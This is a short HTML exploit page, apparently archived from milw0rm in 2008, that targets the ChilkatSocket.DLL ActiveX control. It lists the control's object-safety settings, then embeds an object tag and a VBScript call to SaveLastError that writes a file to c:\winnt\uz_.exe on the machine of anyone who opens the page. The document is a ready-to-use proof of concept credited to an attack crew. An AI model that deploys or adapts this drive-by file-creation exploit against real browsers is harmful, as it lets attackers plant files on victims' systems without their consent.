<html>
<title>ChilkatSocket.DLL Arbitrary File Creation</title><br><br>
<body>
Company Name : Chilkat Software, Inc.<br><br>
Vulnerable DLL : ChilkatSocket.DLL<br><br>
DLL's version : 2,3,1,1<br><br>
Object Safety Report : <br>
Report for Clsid: {474FCCCD-1B89-4D34-9E09-45807F23289C}<br>
RegKey Safe for Script: Faux<br>
RegKey Safe for Init: Faux<br>
Implements IObjectSafety: Vrai<br>
IDisp Safe: Safe for untrusted: caller,data<br>
IPersist Safe: Safe for untrusted: caller,data <br>
IPStorage Safe: Safe for untrusted: caller,data <br>
Exploit : Arbitrary File Creation<br><br>
Author : Underz0ne Crew<br>
Zigma<br>
Homepage : http://www.underz0ne.org<br><br>
<object classid='clsid:474FCCCD-1B89-4D34-9E09-45807F23289C' id='boom' ></object>
<script language='vbscript'>
arg1="c:\winnt\uz_.exe"
boom.SaveLastError arg1
</script>
</body>
<html>
# milw0rm.com [2008-11-17]
